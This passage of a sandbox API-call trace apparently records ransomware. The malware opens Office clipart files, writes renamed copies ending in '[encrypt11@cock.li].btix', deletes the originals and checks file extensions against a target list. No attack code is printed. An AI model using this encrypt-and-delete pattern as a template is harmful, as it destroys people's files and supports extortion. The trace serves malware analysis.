liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.673] GetLastError () returned 0x0 [0134.673] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0134.720] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0134.720] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.720] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.721] SetEndOfFile (hFile=0x540) returned 1 [0134.721] CloseHandle (hObject=0x540) returned 1 [0134.721] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.721] SetEndOfFile (hFile=0x52c) returned 1 [0134.723] CloseHandle (hObject=0x52c) returned 1 [0134.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0134.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.724] lstrlenW (lpString=".doc") returned 4 [0134.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString=".docx") returned 5 [0134.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.724] lstrlenW (lpString=".pdf") returned 4 [0134.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString=".xls") returned 4 [0134.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.724] lstrlenW (lpString=".xlsx") returned 5 [0134.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.724] lstrlenW (lpString=".ppt") returned 4 [0134.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.724] lstrlenW (lpString=".zip") returned 4 [0134.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.724] lstrlenW (lpString=".rar") returned 4 [0134.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString=".bz2") returned 4 [0134.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString=".7z") returned 3 [0134.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.724] lstrlenW (lpString=".dbf") returned 4 [0134.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.724] lstrlenW (lpString=".1cd") returned 4 [0134.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.724] lstrlenW (lpString=".jpg") returned 4 [0134.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.725] lstrlenW (lpString=".doc") returned 4 [0134.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString=".docx") returned 5 [0134.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.725] lstrlenW (lpString=".pdf") returned 4 [0134.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString=".xls") returned 4 [0134.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.725] lstrlenW (lpString=".xlsx") returned 5 [0134.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.725] lstrlenW (lpString=".ppt") returned 4 [0134.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.725] lstrlenW (lpString=".zip") returned 4 [0134.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.725] lstrlenW (lpString=".rar") returned 4 [0134.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString=".bz2") returned 4 [0134.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString=".7z") returned 3 [0134.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.725] lstrlenW (lpString=".dbf") returned 4 [0134.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.725] lstrlenW (lpString=".1cd") returned 4 [0134.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0134.725] lstrlenW (lpString=".jpg") returned 4 [0134.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.726] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0134.726] lstrlenW (lpString="J0075478.GIF") returned 12 [0134.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.726] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1220) returned 1 [0134.726] CloseHandle (hObject=0x52c) returned 1 [0134.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0134.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.727] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.727] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0134.727] GetLastError () returned 0x0 [0134.727] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0134.728] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0134.729] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.729] WriteFile (in: hFile=0x540, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.730] SetEndOfFile (hFile=0x540) returned 1 [0134.730] CloseHandle (hObject=0x540) returned 1 [0134.730] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.730] SetEndOfFile (hFile=0x52c) returned 1 [0134.732] CloseHandle (hObject=0x52c) returned 1 [0134.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0134.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.733] lstrlenW (lpString=".doc") returned 4 [0134.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0134.733] lstrlenW (lpString=".docx") returned 5 [0134.733] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0134.733] lstrlenW (lpString=".pdf") returned 4 [0134.733] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0134.733] lstrlenW (lpString=".xls") returned 4 [0134.733] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0134.733] lstrlenW (lpString=".xlsx") returned 5 [0134.733] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0134.733] lstrlenW (lpString=".ppt") returned 4 [0134.733] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0134.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.733] lstrlenW (lpString=".zip") returned 4 [0134.733] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0134.733] lstrlenW (lpString=".rar") returned 4 [0134.733] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString=".bz2") returned 4 [0134.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0134.734] lstrlenW (lpString=".7z") returned 3 [0134.734] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0134.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.734] lstrlenW (lpString=".dbf") returned 4 [0134.734] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0134.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.734] lstrlenW (lpString=".1cd") returned 4 [0134.734] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0134.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.734] lstrlenW (lpString=".jpg") returned 4 [0134.734] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.734] lstrlenW (lpString=".doc") returned 4 [0134.734] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0134.734] lstrlenW (lpString=".docx") returned 5 [0134.734] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0134.734] lstrlenW (lpString=".pdf") returned 4 [0134.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString=".xls") returned 4 [0134.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString=".xlsx") returned 5 [0134.734] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0134.734] lstrlenW (lpString=".ppt") returned 4 [0134.734] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.734] lstrlenW (lpString=".zip") returned 4 [0134.734] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString=".rar") returned 4 [0134.734] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0134.734] lstrlenW (lpString=".bz2") returned 4 [0134.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0134.734] lstrlenW (lpString=".7z") returned 3 [0134.734] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0134.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.735] lstrlenW (lpString=".dbf") returned 4 [0134.735] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0134.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.735] lstrlenW (lpString=".1cd") returned 4 [0134.735] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0134.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0134.735] lstrlenW (lpString=".jpg") returned 4 [0134.735] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0134.735] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.735] lstrlenW (lpString="J0086384.WMF") returned 12 [0134.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.736] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=9734) returned 1 [0134.736] CloseHandle (hObject=0x52c) returned 1 [0134.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0134.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.736] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.736] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.758] GetLastError () returned 0x0 [0134.758] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x2606, lpOverlapped=0x0) returned 1 [0134.795] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x2610, lpOverlapped=0x0) returned 1 [0134.796] ReadFile (in: hFile=0x52c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.796] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.796] SetEndOfFile (hFile=0x4c0) returned 1 [0134.796] CloseHandle (hObject=0x4c0) returned 1 [0134.796] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.796] SetEndOfFile (hFile=0x52c) returned 1 [0134.805] CloseHandle (hObject=0x52c) returned 1 [0134.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.806] lstrlenW (lpString=".doc") returned 4 [0134.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".docx") returned 5 [0134.806] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0134.806] lstrlenW (lpString=".pdf") returned 4 [0134.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".xls") returned 4 [0134.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.806] lstrlenW (lpString=".xlsx") returned 5 [0134.806] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0134.806] lstrlenW (lpString=".ppt") returned 4 [0134.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.806] lstrlenW (lpString=".zip") returned 4 [0134.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.806] lstrlenW (lpString=".rar") returned 4 [0134.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".bz2") returned 4 [0134.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString=".7z") returned 3 [0134.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.806] lstrlenW (lpString=".dbf") returned 4 [0134.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.806] lstrlenW (lpString=".1cd") returned 4 [0134.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.806] lstrlenW (lpString=".jpg") returned 4 [0134.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.807] lstrlenW (lpString=".doc") returned 4 [0134.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString=".docx") returned 5 [0134.807] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0134.807] lstrlenW (lpString=".pdf") returned 4 [0134.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString=".xls") returned 4 [0134.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.807] lstrlenW (lpString=".xlsx") returned 5 [0134.807] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0134.807] lstrlenW (lpString=".ppt") returned 4 [0134.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.807] lstrlenW (lpString=".zip") returned 4 [0134.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.807] lstrlenW (lpString=".rar") returned 4 [0134.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString=".bz2") returned 4 [0134.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString=".7z") returned 3 [0134.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.807] lstrlenW (lpString=".dbf") returned 4 [0134.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.807] lstrlenW (lpString=".1cd") returned 4 [0134.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0134.807] lstrlenW (lpString=".jpg") returned 4 [0134.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.808] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.808] lstrlenW (lpString="J0086424.WMF") returned 12 [0134.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.810] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17016) returned 1 [0134.810] CloseHandle (hObject=0x52c) returned 1 [0134.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0134.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0134.811] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.811] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0134.812] GetLastError () returned 